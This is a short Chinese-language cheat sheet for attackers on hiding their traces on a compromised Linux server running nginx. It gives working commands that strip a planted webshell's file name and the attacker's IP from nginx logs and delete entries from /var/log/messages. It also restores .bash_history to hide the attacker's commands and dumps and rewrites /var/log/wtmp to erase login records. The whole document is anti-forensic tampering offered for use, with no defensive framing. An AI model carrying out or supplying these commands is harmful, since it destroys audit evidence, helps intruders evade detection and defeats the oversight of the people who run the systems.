隐藏痕迹旧版2013版
nginx
获取nginx.conf和nginx访问日志
nginx -t
nginx -V
ps aux | grep nginx
删除小马信息
假设你的ip为8.8.8.8
假设nginx日志路径如下
/var/log/nginx/access.log
/var/log/nginx/error.log
cat /var/log/nginx/access.log | grep -v dama.php > /tmp/foo.log
cat /tmp/foo.log > /var/log/nginx/access.log
cat /var/log/nginx/access.log | grep -v 8.8.8.8 > /tmp/foo.log
cat /tmp/foo.log > /var/log/nginx/access.log
sed -i -e '/pptpd/d' /var/log/messages
sed -i -e '/123\.123\.123\.123/d' /var/log/messages
linux
修改history记录
刚登录机器时即复制此时的操作记录,退出时再覆盖
cp .bash_history ./tmp
mv ./tmp .bash_history
rm ./tmp
history -r .bash_history
修改last记录
因为last记录在/var/log/wtmp文件中,而且是非文本方式保存的,所以不能用 vim 直接打开编辑
utmpdump /var/log/wtmp > newdump
将 last 日志(wtmp)转换 ASCII 格式并保存 newdump;
用 vim 打开 newdump 编辑(当然是删掉你的记录了)。
utmpdump -r newdump > /var/log/wtmp
将修改后的 newdump 文件转换成二进制并替换 wtmp;
last一下,检查
擦完屁股退出
kill -9 $$